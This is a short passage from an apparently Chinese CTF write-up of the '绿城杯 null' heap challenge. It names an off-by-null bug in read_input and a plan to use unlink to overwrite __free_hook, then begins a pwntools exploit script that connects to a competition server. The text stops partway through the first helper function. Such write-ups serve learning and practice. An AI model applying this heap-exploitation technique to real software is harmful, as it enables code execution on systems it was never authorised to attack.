绿城杯 null

题目特征

增

删

改

查

思路

j8题不给libc恶心人，平时也没有用libcsearcher的习惯，这道题给了堆存储的数组，read_input这里有个洞off by null，多申请0x8然后可以覆盖pre_inuse位，那就用unlink来打，修改free_hook。

# -*- coding: utf-8 -*-
from pwn import *
elf=ELF('./1')
p=remote('82.157.5.28',51004)
libc=ELF('libc6_2.23-0ubuntu11.2_amd64.so')
context.log_level='debug'

def alloc(idx,size,content):
    p.sendlineafter('Your choice :','1')
    p